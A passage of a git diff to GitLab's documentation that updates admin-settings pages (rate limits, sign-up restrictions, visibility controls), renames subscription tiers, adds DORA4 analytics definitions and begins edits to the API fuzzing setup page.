b/doc/user/admin_area/settings/push_event_activities_limit.md index 484bb7b0a14..1d6424face0 100644 --- a/doc/user/admin_area/settings/push_event_activities_limit.md +++ b/doc/user/admin_area/settings/push_event_activities_limit.md @@ -5,21 +5,21 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Push event activities limit and bulk push events +# Push event activities limit and bulk push events **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31007) in GitLab 12.4. -This allows you to set the number of changes (branches or tags) in a single push -to determine whether individual push events or bulk push event will be created. -Bulk push events will be created if it surpasses that value. +Set the number of branches or tags to limit the number of single push events +allowed at once. If the number of events is greater than this, GitLab creates +bulk push event instead. For example, if 4 branches are pushed and the limit is currently set to 3, you'll see the following in the activity feed:  -With this feature, when a single push includes a lot of changes (e.g. 1,000 -branches), only 1 bulk push event will be created instead of creating 1,000 push +With this feature, when a single push includes a lot of changes (for example, 1,000 +branches), only 1 bulk push event is created instead of 1,000 push events. This helps in maintaining good system performance and preventing spam on the activity feed. diff --git a/doc/user/admin_area/settings/rate_limit_on_notes_creation.md b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md new file mode 100644 index 00000000000..54b5da35dac --- /dev/null +++ b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md @@ -0,0 +1,32 @@ +--- +type: reference +stage: Plan +group: Project Management +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Rate limits on note creation + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53637) in GitLab 13.9. + +This setting allows you to rate limit the requests to the note creation endpoint. + +To change the note creation rate limit: + +1. Go to **Admin Area > Settings > Network**. +1. Expand the **Notes Rate Limits** section. +1. Enter the new value. +1. Select **Save changes**. + +This limit is: + +- Applied independently per user. +- Not applied per IP address. + +The default value is `300`. + +Requests over the rate limit are logged into the `auth.log` file. + +For example, if you set a limit of 300, requests using the +[Projects::NotesController#create](https://gitlab.com/gitlab-org/gitlab/blob/master/app/controllers/projects/notes_controller.rb) +action exceeding a rate of 300 per minute are blocked. Access to the endpoint is allowed after one minute. diff --git a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md index 9ffd46e9ba6..a9b23b3dc50 100644 --- a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md +++ b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Rate limits on raw endpoints **(CORE ONLY)** +# Rate limits on raw endpoints **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30829) in GitLab 12.2. diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md index 92ad8eced95..a34a63f4543 100644 --- a/doc/user/admin_area/settings/sign_in_restrictions.md +++ b/doc/user/admin_area/settings/sign_in_restrictions.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Sign-in restrictions **(CORE ONLY)** +# Sign-in restrictions **(FREE SELF)** You can use **Sign-in restrictions** to customize authentication restrictions for web interfaces as well as Git over HTTP(S). @@ -27,7 +27,7 @@ You can restrict the password authentication for web interface and Git over HTTP When this feature enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md). -Once the two-factor authentication is configured as mandatory, the users are allowed +After the two-factor authentication is configured as mandatory, users are allowed to skip forced configuration of two-factor authentication for the configurable grace period in hours. diff --git a/doc/user/admin_area/settings/sign_up_restrictions.md b/doc/user/admin_area/settings/sign_up_restrictions.md index ddd3dbda9cc..0945471b11b 100644 --- a/doc/user/admin_area/settings/sign_up_restrictions.md +++ b/doc/user/admin_area/settings/sign_up_restrictions.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Sign-up restrictions **(CORE ONLY)** +# Sign-up restrictions **(FREE SELF)** You can enforce the following restrictions on sign ups: @@ -50,12 +50,10 @@ To enforce confirmation of the email address used for new sign ups: 1. Go to **Admin Area > Settings > General** and expand **Sign-up restrictions**. 1. Select the **Enable email restrictions for sign ups** checkbox, then select **Save changes**. -## User cap **(CORE ONLY)** +## User cap **(FREE SELF)** > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4315) in GitLab 13.7. -> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-user-cap). **(CORE ONLY)** +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292600) in GitLab 13.9. When the number of billable users reaches the user cap, any user who is added or requests access must be [approved](../approving_users.md#approving-a-user) by an administrator before they can start using @@ -64,29 +62,10 @@ their account. If an administrator increases or removes the user cap, the users in pending approval state are automatically approved in a background job. -### Enable or disable User cap **(CORE ONLY)** - -User cap is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To disable it: - -```ruby -Feature.disable(:admin_new_user_signups_cap) -``` - -To enable it: - -```ruby -Feature.enable(:admin_new_user_signups_cap) -``` - ## Soft email confirmation > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47003) in GitLab 12.2. -> - It's [deployed behind a feature flag](../../..//user/feature_flags.md), disabled by default. +> - It's [deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. > - It's enabled on GitLab.com. > - It's recommended for production use. > - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-soft-email-confirmation). @@ -94,7 +73,7 @@ Feature.enable(:admin_new_user_signups_cap) WARNING: This feature might not be available to you. Check the **version history** note above for details. -The soft email confirmation improves the signup experience for new users by allowing +The soft email confirmation improves the sign-up experience for new users by allowing them to sign in without an immediate confirmation when an email confirmation is required. GitLab shows the user a reminder to confirm their email address, and the user can't create or update pipelines until their email address is confirmed. diff --git a/doc/user/admin_area/settings/terms.md b/doc/user/admin_area/settings/terms.md index b6826035116..3e0636ef7ac 100644 --- a/doc/user/admin_area/settings/terms.md +++ b/doc/user/admin_area/settings/terms.md @@ -5,9 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Enforce accepting Terms of Service **(CORE ONLY)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18570) in [GitLab Core](https://about.gitlab.com/pricing/) 10.8. +# Enforce accepting Terms of Service **(FREE SELF)** An admin can enforce acceptance of a terms of service and privacy policy. When this option is enabled, new and existing users must accept the terms. diff --git a/doc/user/admin_area/settings/third_party_offers.md b/doc/user/admin_area/settings/third_party_offers.md index 84511339842..59845a8d0d8 100644 --- a/doc/user/admin_area/settings/third_party_offers.md +++ b/doc/user/admin_area/settings/third_party_offers.md @@ -5,9 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Third party offers **(CORE ONLY)** +# Third party offers **(FREE SELF)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20379) in [GitLab Core](https://about.gitlab.com/pricing/) 11.1. +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20379) in GitLab Free 11.1. Within GitLab, we inform users of available third-party offers they might find valuable in order to enhance the development of their projects. An example is the Google Cloud Platform free credit diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md index 06b39d67228..2bb6adbc32b 100644 --- a/doc/user/admin_area/settings/usage_statistics.md +++ b/doc/user/admin_area/settings/usage_statistics.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Usage statistics **(CORE ONLY)** +# Usage statistics **(FREE SELF)** GitLab Inc. periodically collects information about your instance in order to perform various actions. @@ -20,7 +20,7 @@ usage statistics to GitLab Inc. If your GitLab instance is behind a proxy, set the appropriate [proxy configuration variables](https://docs.gitlab.com/omnibus/settings/environment-variables.html). -## Version Check **(CORE ONLY)** +## Version Check **(FREE SELF)** If enabled, version check informs you if a new version is available and the importance of it through a status. This is shown on the help page (i.e. `/help`) @@ -59,7 +59,7 @@ sequenceDiagram Version Application->>GitLab instance: Response (PNG/SVG) ``` -## Usage Ping **(CORE ONLY)** +## Usage Ping **(FREE SELF)** See [Usage Ping guide](../../../development/usage_ping.md). diff --git a/doc/user/admin_area/settings/user_and_ip_rate_limits.md b/doc/user/admin_area/settings/user_and_ip_rate_limits.md index e2040ef19d6..ba4ef890caa 100644 --- a/doc/user/admin_area/settings/user_and_ip_rate_limits.md +++ b/doc/user/admin_area/settings/user_and_ip_rate_limits.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# User and IP rate limits **(CORE ONLY)** +# User and IP rate limits **(FREE SELF)** Rate limiting is a common technique used to improve the security and durability of a web application. For more details, see diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md index fe1841e7020..0fcdbf3ca90 100644 --- a/doc/user/admin_area/settings/visibility_and_access_controls.md +++ b/doc/user/admin_area/settings/visibility_and_access_controls.md @@ -5,22 +5,22 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Visibility and access controls **(CORE ONLY)** +# Visibility and access controls **(FREE SELF)** GitLab allows administrators to enforce specific controls. To access the visibility and access control options: -1. Log in to GitLab as an admin. +1. Sign in to GitLab as a user with Administrator [permissions](../../permissions.md). 1. Go to **Admin Area > Settings > General**. 1. Expand the **Visibility and access controls** section. ## Default branch protection This global option defines the branch protection that applies to every repository's default branch. [Branch protection](../../project/protected_branches.md) specifies which roles can push to branches and which roles can delete -branches. In this case _Default_ refers to a repository's default branch, which in most cases is _master_. +branches. In this case _Default_ refers to a repository's default branch, which in most cases is `master`. -This setting applies only to each repositories' default branch. To protect other branches, you must configure branch protection in repository. For details, see [Protected Branches](../../project/protected_branches.md). +This setting applies only to each repositories' default branch. To protect other branches, you must configure branch protection in repository. For details, see [protected branches](../../project/protected_branches.md). To change the default branch protection: @@ -31,7 +31,7 @@ For more details, see [Protected branches](../../project/protected_branches.md). To change this setting for a specific group, see [Default branch protection for groups](../../group/index.md#changing-the-default-branch-protection-of-a-group) -### Disable group owners from updating default branch protection **(PREMIUM ONLY)** +### Disable group owners from updating default branch protection **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211944) in GitLab 13.0. @@ -57,30 +57,30 @@ To change the default project creation protection: For more details, see [Default project-creation level](../../group/index.md#default-project-creation-level). -## Default project deletion protection **(PREMIUM ONLY)** +## Default project deletion protection **(PREMIUM SELF)** By default, a project can be deleted by anyone with the **Owner** role, either at the project or group level. -To ensure only admin users can delete projects: +To ensure only Administrator users can delete projects: 1. Check the **Default project deletion protection** checkbox. 1. Click **Save changes**. -## Default deletion delay **(PREMIUM ONLY)** +## Default deletion delay **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6. -By default, a project marked for deletion will be permanently removed with immediate effect. -By default, a group marked for deletion will be permanently removed after 7 days. +By default, a project marked for deletion is permanently removed with immediate effect. +By default, a group marked for deletion is permanently removed after seven days. WARNING: The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to [Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2. -Projects within a group (but not a personal namespace) can be deleted after a delayed period, by [configuring in Group Settings](../../group/index.md#enabling-delayed-project-removal). - -The default period is 7 days, and can be changed. Setting this period to 0 will enable immediate removal +Projects in a group (but not a personal namespace) can be deleted after a delayed period, by +[configuring in Group Settings](../../group/index.md#enabling-delayed-project-removal). +The default period is seven days, and can be changed. Setting this period to `0` enables immediate removal of projects or groups. To change this period: @@ -124,10 +124,10 @@ For more details on group visibility, see [Public access](../../../public_access ## Restricted visibility levels -To set the available visibility levels for projects, snippets, and selected pages: +To set the restricted visibility levels for projects, snippets, and selected pages: -1. Check the desired visibility levels. -1. Click **Save changes**. +1. Select the desired visibility levels to restrict. +1. Select **Save changes**. For more details on project visibility, see [Public access](../../../public_access/public_access.md). @@ -149,13 +149,11 @@ For more details, see [Exporting a project and its data](../../../user/project/s ## Enabled Git access protocols -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4696) in GitLab 8.10. - With GitLab access restrictions, you can select with which protocols users can communicate with GitLab. -Disabling an access protocol does not block access to the server itself via those ports. The ports -used for the protocol, SSH or HTTP(S), will still be accessible. The GitLab restrictions apply at the +Disabling an access protocol does not block access to the server itself by using those ports. The ports +used for the protocol, SSH or HTTP(S), are still accessible. The GitLab restrictions apply at the application level. To specify the enabled Git access protocols: @@ -170,26 +168,26 @@ When both SSH and HTTP(S) are enabled, users can choose either protocol. When only one protocol is enabled: -- The project page will only show the allowed protocol's URL, with no option to +- The project page shows only the allowed protocol's URL, with no option to change it. -- A tooltip will be shown when you hover over the URL's protocol, if an action - on the user's part is required, e.g. adding an SSH key, or setting a password. +- A tooltip is shown when you hover over the URL's protocol, if an action + on the user's part is required. For example, adding an SSH key or setting a password.  -On top of these UI restrictions, GitLab will deny all Git actions on the protocol +On top of these UI restrictions, GitLab denies all Git actions on the protocol not selected. WARNING: -Starting with [GitLab 10.7](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18021), -HTTP(S) protocol will be allowed for Git clone or fetch requests done by GitLab Runner -from CI/CD jobs, even if _Only SSH_ was selected. +GitLab versions [10.7 and later](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18021), +allow the HTTP(S) protocol for Git clone or fetch requests done by GitLab Runner +from CI/CD jobs, even if **Only SSH** was selected. ## Custom Git clone URL for HTTP(S) > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18422) in GitLab 12.4. -You can customize project Git clone URLs for HTTP(S). This will affect the clone +You can customize project Git clone URLs for HTTP(S), which affects the clone panel:  @@ -225,10 +223,9 @@ For more details, see [SSH key restrictions](../../../security/ssh_keys_restrict ## Allow mirrors to be set up for projects -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3586) in GitLab 10.3. - -This option is enabled by default. By disabling it, both [pull and push mirroring](../../project/repository/repository_mirroring.md) will no longer -work in every repository and can only be re-enabled by an admin on a per-project basis. +This option is enabled by default. By disabling it, both +[pull and push mirroring](../../project/repository/repository_mirroring.md) no longer +work in every repository. They can only be re-enabled by an administrator user on a per-project basis.  diff --git a/doc/user/admin_area/user_cohorts.md b/doc/user/admin_area/user_cohorts.md deleted file mode 100644 index a95501c0bde..00000000000 --- a/doc/user/admin_area/user_cohorts.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'analytics/user_cohorts.md' ---- - -This document was moved to [another location](analytics/user_cohorts.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/analytics/ci_cd_analytics.md b/doc/user/analytics/ci_cd_analytics.md index beb2cbfdc58..0f19998749d 100644 --- a/doc/user/analytics/ci_cd_analytics.md +++ b/doc/user/analytics/ci_cd_analytics.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # CI/CD Analytics -## Pipeline success and duration charts **(CORE)** +## Pipeline success and duration charts **(FREE)** > - Introduced in GitLab 3.1.1 as Commit Stats, and later renamed to Pipeline Charts. > - [Renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/38318) to CI/CD Analytics in GitLab 12.8. @@ -22,6 +22,29 @@ View pipeline duration history:  +## DORA4 Metrics + +Customer experience is a key metric. Users want to measure platform stability and other +post-deployment performance KPIs, and set targets for customer behavior, experience, and financial +impact. Tracking and measuring these indicators solves an important pain point. Similarly, creating +views that manage products, not projects or repositories, provides users with a more relevant data set. +Since GitLab is a tool for the entire DevOps life-cycle, information from different workflows is +integrated and can be used to measure the success of the teams. + +The DevOps Research and Assessment ([DORA](https://cloud.google.com/blog/products/devops-sre/the-2019-accelerate-state-of-devops-elite-performance-productivity-and-scaling)) +team developed four key metrics that the industry has widely adopted. You can use these metrics as +performance indicators for software development teams: + +- Deployment frequency: How often an organization successfully releases to production. +- Lead time for changes: The amount of time it takes for code to reach production. +- Change failure rate: The percentage of deployments that cause a failure in production. +- Time to restore service: How long it takes an organization to recover from a failure in + production. + +GitLab plans to add support for all the DORA4 metrics at the project and group levels. GitLab added +the first metric, deployment frequency, at the project and group scopes for [CI/CD charts](ci_cd_analytics.md#deployment-frequency-charts), +the [Project API]( ../../api/dora4_project_analytics.md), and the [Group API]( ../../api/dora4_group_analytics.md). + ## Deployment frequency charts **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/275991) in GitLab 13.8. diff --git a/doc/user/analytics/code_review_analytics.md b/doc/user/analytics/code_review_analytics.md index 745774480b0..19016c3aa26 100644 --- a/doc/user/analytics/code_review_analytics.md +++ b/doc/user/analytics/code_review_analytics.md @@ -6,22 +6,23 @@ info: To determine the technical writer assigned to the Stage/Group associated w --- -# Code Review Analytics **(STARTER)** +# Code Review Analytics **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/38062) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.7. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/38062) in GitLab 12.7. +> - Moved to GitLab Premium in 13.9. -Code Review Analytics makes it easy to view the longest-running reviews among open merge requests and -enables you to: +Use Code Review Analytics to view the longest-running reviews among open merge +requests, and: -1. Take action on individual merge requests. -1. Reduce overall cycle time. +- Take action on individual merge requests. +- Reduce overall cycle time. NOTE: Initially, no data appears. Data is populated as users comment on open merge requests. ## Overview -Code Review Analytics displays a table of open merge requests that have at least one non-author comment. The review time is measured from the time the first non-author comment was submitted. +Code Review Analytics is available to users with Reporter access and above, and displays a table of open merge requests that have at least one non-author comment. The review time is measured from the time the first non-author comment was submitted. To access Code Review Analytics, from your project's menu, go to **Project Analytics > Code Review**. @@ -53,8 +54,3 @@ For example: - Lots of comments or commits? Maybe the code is too complex. - A particular author is involved? Maybe more training is required. - Few comments and approvers? Maybe your team is understaffed. - -## Permissions - -- On [Starter or Bronze tier](https://about.gitlab.com/pricing/) and above. -- By users with Reporter access and above. diff --git a/doc/user/analytics/cycle_analytics.md b/doc/user/analytics/cycle_analytics.md deleted file mode 100644 index 5c235f6708b..00000000000 --- a/doc/user/analytics/cycle_analytics.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../analytics/value_stream_analytics.md' ---- - -This document was moved to [another location](../analytics/value_stream_analytics.md) - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md index caa8972b220..f5da373ee6d 100644 --- a/doc/user/analytics/index.md +++ b/doc/user/analytics/index.md @@ -6,6 +6,28 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Analytics +## Definitions + +When we describe GitLab analytics, we use the following terms: + +- Cycle time: The duration of your value stream, from start to finish. Often displayed in combination with "lead time." GitLab measures cycle time from issue creation to issue close. GitLab displays cycle time in [Value Stream Analytics](value_stream_analytics.md). +- DORA (DevOps Research and Assessment) ["Four Keys"](https://cloud.google.com/blog/products/devops-sre/using-the-four-keys-to-measure-your-devops-performance): + - Speed + - Deployment Frequency: How often an organization successfully releases to production. + - Lead Time for Changes: The time it takes for a commit to get into production. This differs from ordinary "lead time" as it "focuses on measuring only the time to deliver a feature once it has been developed", +as described in ([Measuring DevOps Performance](https://devops.com/measuring-devops-performance/)). + - Stability + - Change Failure Rate: The percentage of deployments causing a failure in production. + - Time to Restore Service: How long it takes an organization to recover from a failure in production. +- MTTC (Mean Time to Change): The average duration between idea and delivery. GitLab measures MTTC from issue creation to the issue's latest related merge request's deployment to production. +- MTTD (Mean Time to Detect): The average duration that a bug goes undetected in production. GitLab measures MTTD from deployment of bug to issue creation. +- MTTM (Mean Time To Merge): The average lifespan of a merge request. GitLab measures MTTM from merge request creation to merge request merge (and closed/un-merged merge requests are excluded). For more information, see [Merge Request Analytics](merge_request_analytics.md). +- MTTR (Mean Time to Recover/Repair/Resolution/Resolve/Restore): The average duration that a bug is not fixed in production. GitLab measures MTTR from deployment of bug to deployment of fix. +- Lead time: The duration of the work itself. Often displayed in combination with "cycle time." GitLab measures from issue first merge request creation to issue close. Note: Obviously work started before the creation of the first merge request. We plan to start measuring from "issue first commit" as a better proxy, although still imperfect. GitLab displays lead time in [Value Stream Analytics](value_stream_analytics.md). +- Throughput: The number of issues closed or merge requests merged (not closed) in some period of time. Often measured per sprint. GitLab displays merge request throughput in [Merge Request Analytics](merge_request_analytics.md). +- Value Stream: The entire work process that is followed to deliver value to customers. For example, the [DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/) is a value stream that starts with "plan" and ends with "monitor". GitLab helps you track your value stream using [Value Stream Analytics](value_stream_analytics.md). +- Velocity: The total issue burden completed in some period of time. The burden is usually measured in points or weight, often per sprint. For example, your velocity may be "30 points per sprint". GitLab measures velocity as the total points/weight of issues closed in a given period of time. + ## Instance-level analytics > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in GitLab 12.2. @@ -18,26 +40,27 @@ in one place. ## Group-level analytics -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195979) in GitLab 12.8. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195979) in GitLab 12.8. +> - Moved to [GitLab Premium](https://about.gitlab.com/pricing/) due to Starter/Bronze being [discontinued](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) in 13.9. The following analytics features are available at the group level: -- [Contribution](../group/contribution_analytics/index.md). **(STARTER)** +- [Contribution](../group/contribution_analytics/index.md). **(PREMIUM)** - [Insights](../group/insights/index.md). **(ULTIMATE)** - [Issue](../group/issues_analytics/index.md). **(PREMIUM)** - [Productivity](productivity_analytics.md) **(PREMIUM)** - [Repositories](../group/repositories_analytics/index.md) **(PREMIUM)** -- [Value Stream](value_stream_analytics.md). **(PREMIUM)** +- [Value Stream](../group/value_stream_analytics/index.md). **(PREMIUM)** ## Project-level analytics The following analytics features are available at the project level: -- [CI/CD](ci_cd_analytics.md). **(CORE)** -- [Code Review](code_review_analytics.md). **(STARTER)** +- [CI/CD](ci_cd_analytics.md). **(FREE)** +- [Code Review](code_review_analytics.md). **(PREMIUM)** - [Insights](../project/insights/index.md). **(ULTIMATE)** - [Issue](../group/issues_analytics/index.md). **(PREMIUM)** - [Merge Request](merge_request_analytics.md), enabled with the `project_merge_request_analytics` - [feature flag](../../development/feature_flags/development.md#enabling-a-feature-flag-locally-in-development). **(STARTER)** -- [Repository](repository_analytics.md). **(CORE)** -- [Value Stream](value_stream_analytics.md). **(CORE)** + [feature flag](../../development/feature_flags/development.md#enabling-a-feature-flag-locally-in-development). **(PREMIUM)** +- [Repository](repository_analytics.md). **(FREE)** +- [Value Stream](value_stream_analytics.md). **(FREE)** diff --git a/doc/user/analytics/issue_analytics.md b/doc/user/analytics/issue_analytics.md index 0aa135ab88d..6c6911ff4f4 100644 --- a/doc/user/analytics/issue_analytics.md +++ b/doc/user/analytics/issue_analytics.md @@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196561) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.9. Issue Analytics is a bar graph which illustrates the number of issues created each month. -The default timespan is 13 months, which includes the current month, and the 12 months +The default time span is 13 months, which includes the current month, and the 12 months prior. To access the chart, navigate to your project sidebar and select **{chart}** **Analytics > Issue Analytics**. diff --git a/doc/user/analytics/merge_request_analytics.md b/doc/user/analytics/merge_request_analytics.md index c0fe19f1f16..3edbe3e8aa4 100644 --- a/doc/user/analytics/merge_request_analytics.md +++ b/doc/user/analytics/merge_request_analytics.md @@ -5,9 +5,10 @@ group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Merge Request Analytics **(STARTER)** +# Merge Request Analytics **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229045) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229045) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.3. +> - Moved to [GitLab Premium](https://about.gitlab.com/pricing/) due to Starter/Bronze being [discontinued](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) in 13.9. Merge Request Analytics helps you understand the efficiency of your code review process, and the productivity of your team. @@ -102,5 +103,5 @@ bookmark for those preferred settings in your browser. The **Merge Request Analytics** feature can be accessed only: -- On [Starter](https://about.gitlab.com/pricing/) and above. +- On [Premium](https://about.gitlab.com/pricing/) and above. - By users with [Reporter access](../permissions.md) and above. diff --git a/doc/user/analytics/productivity_analytics.md b/doc/user/analytics/productivity_analytics.md index 633d7b35087..a06d94caf69 100644 --- a/doc/user/analytics/productivity_analytics.md +++ b/doc/user/analytics/productivity_analytics.md @@ -16,7 +16,7 @@ long, on average, it takes to deliver features is an enormous endeavor. While [Value Stream Analytics](../analytics/value_stream_analytics.md) focuses on the entire Software Development Life Cycle (SDLC) process, Productivity Analytics provides a way for Engineering Management to drill down in a systematic way to uncover patterns and causes for success or failure at an individual, project, or group level. -Productivity can slow down for many reasons ranging from degrading code base to quickly growing teams. In order to investigate, department or team leaders can start by visualizing the time it takes for merge requests to be merged. +Productivity can slow down for many reasons ranging from degrading codebase to quickly growing teams. In order to investigate, department or team leaders can start by visualizing the time it takes for merge requests to be merged. ## Supported features @@ -60,5 +60,5 @@ GitLab has the ability to filter analytics based on a date range. To filter resu The **Productivity Analytics** dashboard can be accessed only: -- On [Premium or Silver tier](https://about.gitlab.com/pricing/) and above. +- On the [Premium tier](https://about.gitlab.com/pricing/) and above. - By users with [Reporter access](../permissions.md) and above. diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md index b5aecff5180..6c41d93d51f 100644 --- a/doc/user/analytics/value_stream_analytics.md +++ b/doc/user/analytics/value_stream_analytics.md @@ -4,7 +4,7 @@ group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Value Stream Analytics **(CORE)** +# Value Stream Analytics **(FREE)** > - Introduced as Cycle Analytics prior to GitLab 12.3 at the project level. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3 at the group level. diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md index 674afcb29ee..49311ccc7cd 100644 --- a/doc/user/application_security/api_fuzzing/index.md +++ b/doc/user/application_security/api_fuzzing/index.md @@ -69,7 +69,7 @@ Examples of both configurations can be found here: The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an API description format for REST APIs. This section shows you how to configure API fuzzing by using an OpenAPI specification to provide information about the target API to test. OpenAPI specifications -are provided as a filesystem resource or URL. +are provided as a file system resource or URL. Follow these steps to configure API fuzzing in GitLab with an OpenAPI specification: @@ -89,7 +89,7 @@ Follow these steps to configure API fuzzing in GitLab with an OpenAPI specificat amounts of fuzzing. We recommend that you start with the `Quick-10` profile. Testing with this profile completes quickly, allowing for easier configuration validation. - Provide the profile by adding the `FUZZAPI_PROFILE` variable to your `.gitlab-ci.yml` file, + Provide the profile by adding the `FUZZAPI_PROFILE` CI/CD variable to your `.gitlab-ci.yml` file, substituting `Quick-10` for the profile you choose: ```yaml @@ -182,7 +182,7 @@ target API to test: amounts of fuzzing. We recommend that you start with the `Quick-10` profile. Testing with this profile completes quickly, allowing for easier configuration validation. - Provide the profile by adding the `FUZZAPI_PROFILE` variable to your `.gitlab-ci.yml` file, + Provide the profile by adding the `FUZZAPI_PROFILE` CI/CD variable to your `.gitlab-ci.yml` file, substituting `Quick-10` for the profile you choose: ```yaml @@ -273,7 +273,7 @@ information about the target API to test: amounts of fuzzing. We recommend that you start with the `Quick-10` profile. Testing with this profile completes quickly, allowing for easier configuration validation. - Provide the profile by adding the `FUZZAPI_PROFILE` variable to your `.gitlab-ci.yml` file, + Provide the profile by adding the `FUZZAPI_PROFILE` CI/CD variable to your `.gitlab-ci.yml` file, substituting `Quick-10` for the profile you choose: ```yaml @@ -335,16 +335,17 @@ provide a script that performs an authentication flow or calculates the token. #### HTTP Basic Authentication [HTTP basic authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) -is an authentication method built into the HTTP protocol and used in-conjunction with +is an authentication method built in to the HTTP protocol and used in conjunction with [transport layer security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security). -To use HTTP basic authentication, two variables are added to your `.gitlab-ci.yml` file: +To use HTTP basic authentication, two CI/CD variables are added to your `.gitlab-ci.yml` file: - `FUZZAPI_HTTP_USERNAME`: The username for authentication. - `FUZZAPI_HTTP_PASSWORD`: The password for authentication. For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui) (for example, `TEST_API_PASSWORD`) set to the password. You can create CI/CD variables from the -GitLab projects page at **Settings > CI/CD**, in the **Variables** section. +GitLab projects page at **Settings > CI/CD**, in the **Variables** section. Use that variable +as 